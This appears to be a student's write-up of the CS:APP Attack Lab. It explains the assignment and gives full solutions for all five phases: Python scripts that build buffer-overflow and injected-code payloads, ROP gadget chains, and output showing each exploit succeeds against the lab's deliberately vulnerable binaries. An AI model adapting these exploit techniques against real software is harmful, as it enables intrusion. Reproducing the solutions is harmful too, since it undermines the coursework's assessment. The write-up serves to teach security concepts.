attacklab

Attack Lab How to

Agenda

  • Phase 1-3 : Buffer Overflow
  • Phase 4-5 : ROP

Review

stack

(current %rbp is just pointing to the old %rbp and the return address is just above)

How to write exploit code ?

Use gcc

1
2
3
4
# source of exp.s
# my exploit code
movq $555,%rbx
movq %rbx,%rax
1
2
3
4
5
6
7
8
9
10
$ gcc -c exp.s
$ objdump -d exp.o
exp.o: file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c3 2b 02 00 00 mov $0x22b,%rbx
7: 48 89 d8 mov %rbx,%rax

Then you get your exploit bytes:

1
2
48 c7 c3 2b 02 00 00 	# mov    $0x22b,%rbx
48 89 d8 # mov %rbx,%rax

Tips

  • Drawing stack graph is very useful
  • Use ROP

Read the writeup

Files

  • README.txt: A file describing the contents of the directory
  • ctarget: An executable program vulnerable to code-injection attacks
  • rtarget: An executable program vulnerable to return-oriented-programming attacks
  • cookie.txt: An 8-digit hex code that you will use as a unique identifier in your attacks.
  • farm.c: The source code of your target’s “gadget farm,” which you will use in generating return-oriented programming attacks.
  • hex2raw: A utility to generate attack strings.

Important points

  • You must do the assignment on a machine that is similar to the one that generated your targets.
  • You may only construct gadgets from file rtarget with addresses ranging between those for functions start_farm and end_farm.
  • Your solutions may not use attacks to circumvent the validation code in the programs.
  • Your exploit string must not contain byte value 0x0a at any intermediate position, since this is the ASCII code for newline (‘\n’). When Gets encounters this byte, it will assume you intended to terminate the string.
  • HEX2RAW expects two-digit hex values separated by one or more white spaces. So if you want to create a byte with a hex value of 0, you need to write it as 00. To create the word 0xdeadbeef you should pass “ef be ad de” to HEX2RAW (note the reversal required for little-endian byte ordering).

Target programs

Both CTARGET and RTARGET read strings from standard input. They do so with the function getbuf defined below:

1
2
3
4
5
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

Part I: Code Injection Attacks

This program is set up in a way that the stack positions will be consistent from one run to the next and so that data on the stack can be treated as executable code.

Level 1

your exploit string will redirect the program to execute an existing procedure.

Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.

Level 2

Phase 2 involves injecting a small amount of code as part of your exploit string

Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val){
vlevel = 2 ;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x\n)", val);
validate(2);
}
else{
printf("Misfire: You called touch2(0x%.8x)\n" , val);
fail(2);
}
exit(0);
}

Level 3

Phase 3 also involves a code injection attack, but passing a string as argument.

Within the file ctarget there is code for functions hexmatch and touch3 having the following C representations:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 /* Compare string to hex represention of unsigned value */

int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}


void touch3(char *sval)
{
vlevel = 3;
/* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.

Part II: Return-Oriented Programming

  • It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.
  • It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault.

ROP can bypass ASLR is an old story now!!! It only work for DEP now.

description

Verification:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
void f(){}
int main(){
int * local = alloca(sizeof(int));
printf("stack :%p\n" , local);
printf("code section :%p\n" , &main);
printf("address of function:%p\n", &f);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# for((i=0;i<5;i++)) ./test
# doesn't work in bash, it might be a zsh feature
$ for i in 1 1 1 1 1 ; do ./test; done;
stack :0x7fffa96fc860
code section :0x55d5afc056b1
address of function:0x55d5afc056aa
stack :0x7ffd5f52a270
code section :0x55869f60d6b1
address of function:0x55869f60d6aa
stack :0x7ffee61d8040
code section :0x5560accf16b1
address of function:0x5560accf16aa
stack :0x7ffe122676e0
code section :0x563d9fb196b1
address of function:0x563d9fb196aa
stack :0x7fffb0521330
code section :0x5606ed2d56b1
address of function:0x5606ed2d56aa

It seems that I cannot use ROP here.

Reason

Phase 4

For Phase 4, you will repeat the attack of Phase 2, but do so on program RTARGET using gadgets from your gadget farm

Phase 5

If you have other pressing obligations consider stopping right now.

Phase 5 requires you to do an ROP attack on RTARGET to invoke function touch3 with a pointer to a string representation of your cookie.


reference


My solutions

Phase 1

Luckily there is no ASLR, the address of touch1 is fixed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> file ctarget 
Reading symbols from ctarget...done.
pwndbg> disassemble touch1
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp
....
pwndbg> disassemble getbuf
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq

We can see that our target address is 0x00000000004017c0 and the buffer size is 0x28

1
2
3
4
5
6
f = open('stage1' , 'wt+')
address = '00000000004017c0'
payload = ' '.join(['61' for i in range(0x28)])
addressbytes = ' '.join( [ address[i:i+2] for i in range(len(address)-2 , 0 , -2)])
f.write(payload + ' ' + addressbytes)
f.close()
1
2
3
4
5
6
7
$ cat stage1
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 c0 17 40 00 00 00 00 00
$ ./hex2raw -i stage1 > exp1
$ ./ctarget -q -i exp1
....
Touch1!: You called touch1()
....

Phase 2

The job is eased by the fact that ctarget will have our cookie after it start

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./ctarget -q
Cookie: 0x59b997fa
Type string:
$ strings ctarget | grep 'cookie'
gencookie.h
gencookie.c
gencookie
gencookie.c
gencookie.c
cookie
gencookie
$ readelf -p .rodata ctarget | grep -e 'Cookie'
[ 262] Cookie: 0x%x^J

In touch2 the check statement is

1
0x4017fc <touch2+16>    cmpl   0x202ce2(%rip), %edi <0x6044e4>

So we can easily find our cookie’s address is 0x6044e4

1
2
pwndbg>x /wx 0x6044e4
0x6044e4 <cookie>: 0x59b997fa

The code we need to inject is movq $0x59b997fa,%rdi

1
2
48 c7 c7 fa 97 b9 59  	mov    $0x59b997fa,%rdi
c3 retq

Stack graph:

stack graph1

After getbuf

stack graph2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def addressconvert(address:str):
return ' '.join( [ address[i:i+2] for i in range(len(address)-2 , -2 , -2)])

f = open('stage2' , 'wt+')
touch2address = '00000000004017ec'
stackaddress = '{:0>16x}'.format(0x5561dca0-0x8)
codels = '48 c7 c7 fa 97 b9 59 c3'.split()
# notice that instruction doesn't need to be reversed !!!
code = ' '.join(codels)
payload = ' '.join(['61' for i in range(0x28 - len(codels))])
touch2bytes = addressconvert(touch2address)
stackbytes = addressconvert(stackaddress)
f.write(payload + ' ' + code + ' ' + stackbytes + ' ' + touch2bytes )
f.close()
1
2
3
4
5
6
7
8
9
pwndbg> x /64bx $rsp
0x5561dc78: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x5561dc80: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x5561dc88: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x5561dc90: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x5561dc98: 0x48 0xc7 0xc7 0xfa 0x97 0xb9 0x59 0xc3
0x5561dca0: 0x98 0xdc 0x61 0x55 0x00 0x00 0x00 0x00
0x5561dca8: 0xec 0x17 0x40 0x00 0x00 0x00 0x00 0x00
0x5561dcb0: 0x00 0x1f 0x40 0x00 0x00 0x00 0x00 0x00
1
2
3
4
► 0x4017bd   <getbuf+21>    retq<0x5561dc98>

0x5561dc98 movq $0x59b997fa, %rdi
0x5561dc9f retq
1
2
3
4
$ ./ctarget -q -i exp2
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget

Phase 3

stack graph3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def addressconvert(address:str):
return ' '.join( [ address[i:i+2] for i in range(len(address)-2 , -2 , -2)])

f = open('stage3' , 'wt+')

cookie = '59b997fa'
cookiestr = ' '.join([hex(ord(i))[2:] for i in cookie])

codels = '48 c7 c7 78 dc 61 55 c3'.split()
code = ' '.join(codels)

touch3address = '00000000004018fa'
stackaddress = '{:0>16x}'.format(0x5561dca0-len(codels))
stingaddress = '{:0>16x}'.format(0x5561dc78)

# 00 server as \0 to terminate the string
payload = ' '.join(['00' for i in range(0x28 - len(codels) - len(cookie))])

touch3bytes = addressconvert(touch3address)
stackbytes = addressconvert(stackaddress)

f.write(cookiestr+ ' ' + payload + ' ' + code + ' ' + stackbytes + ' ' + touch3bytes )
f.close()
1
2
3
4
5
$ cat stage3 | ./hex2raw > exp3
$ ./ctarget -q -i exp3
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget

Phase 4

The machine code table is quiet useful in ROP

1
2
3
4
5
6
7
8
9
10
$ grep dumpfarm.s -e '48 89 ..'
c: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
1a: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
2f: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
6f: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
84: b8 48 89 e0 c1 mov $0xc1e08948,%eax
b3: 8d 87 48 89 e0 c7 lea -0x381f76b8(%rdi),%eax
c6: c7 07 48 89 e0 91 movl $0x91e08948,(%rdi)
103: c7 07 48 89 e0 c2 movl $0xc2e08948,(%rdi)
117: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
1
2
3
4
5
$  grep dumpfarm.s -e ' 5. '
13: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
21: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
36: b8 29 58 90 c3 mov $0xc3905829,%eax
47: b8 5c 89 c2 90 mov $0x90c2895c,%eax

After some work, I find the following useful gadgets

1
2
3
4
5
6
7
8
9
36:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
c: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
58 90 c3
pop %rax
nop
ret
48 89 c7 c3
movq %rax,%rdi
ret

The exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def addressconvert(address:str):
return ' '.join( [ address[i:i+2] for i in range(len(address)-2 , -2 , -2)])

f = open('stage4', 'wt+')

payload = ' '.join(['61' for i in range(0x28)])

popraxaddress = '00000000004019cc'
movraxrdiaddress = '00000000004019a2'
touch2address = '00000000004017ec'

cookie = ' '.join('00 00 00 00 59 b9 97 fa'.split()[::-1])

f.write( ' '.join([payload , addressconvert(popraxaddress) , cookie , addressconvert(movraxrdiaddress) , addressconvert(touch2address)]) )

f.close()
1
2
3
4
5
$ ./hex2raw -i stage4 > exp4
$ ./rtarget -q -i exp4
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget

Phase 5

In order to pass the address of our cookie string, we need to leak the stack address

1
2
3
4
5
6f:	8d 87 41 48 89 e0    	lea   -0x1f76b7bf(%rdi),%eax
6e: c3 retq
48 89 e0 c3
movq %rsp,%rax
retq

Also we need to do some calculation and data transmission

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
42:	48 8d 04 37          lea    (%rdi,%rsi,1),%rax

7d: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
89 ce 90 90 c3
movl %ecx,%esi
nop
nop
ret

d4: b8 89 d1 08 db mov $0xdb08d189,%eax
89 d1 08 db c3
movl %edx,%ecx
orb %bl,%bl
ret

47: b8 5c 89 c2 90 mov $0x90c2895c,%eax
89 c2 90 c3
movl %eax,%edx
nop
ret

2f: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
48 89 c7 90 c3
movq %rax , %rdi
nop
ret

So the ROP chain will be like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# leak stack address to %rdi
movq %rsp,%rax
retq
movq %rax , %rdi
nop
ret

# pop offset value into %rsi
pop %rax
nop
ret
movl %eax,%edx
nop
ret
movl %edx,%ecx
orb %bl,%bl
ret
movl %ecx,%esi
nop
nop
ret

# %rax = %rdi + %rsi (stack address + offset == cookie address)
lea (%rdi,%rsi,1),%rax

# pass the address as argument
movq %rax , %rdi
nop
ret

Notice that movl only operate on 32 bits data, the higher bits will be set to 0

So we can only add value to %rdi, subtraction cannot be done.

Hence we must put our cookie string after the touch3address rather than the beginning of the buffer.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def addressconvert(address:str):
return ' '.join( [ address[i:i+2] for i in range(len(address)-2 , -2 , -2)])

f = open('stage5', 'wt+')

cookie = '59b997fa'
cookiestr = ' '.join([hex(ord(i))[2:] for i in cookie] + ['00'])

payload = ' '.join(['00' for i in range(0x28)])

movrsprax = '0000000000401a06'
movraxrdi = '00000000004019c5'
poprax = '00000000004019cc'
moveaxedx = '00000000004019dd'
movedxecx = '0000000000401a69'
movecxesi = '0000000000401a13'
lea = '00000000004019d6'

touch3address = '00000000004018fa'

offset = '0000000000000048' # (0x8 * 9)

f.write(' '.join([
payload ,
addressconvert(movrsprax),
addressconvert(movraxrdi),
addressconvert(poprax),
addressconvert(offset),
addressconvert(moveaxedx),
addressconvert(movedxecx),
addressconvert(movecxesi),
addressconvert(lea),
addressconvert(movraxrdi),
addressconvert(touch3address),
cookiestr
]))

f.close()
1
2
3
4
5
$ ./hex2raw -i stage5 > exp5
$ ./rtarget -q -i exp5
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget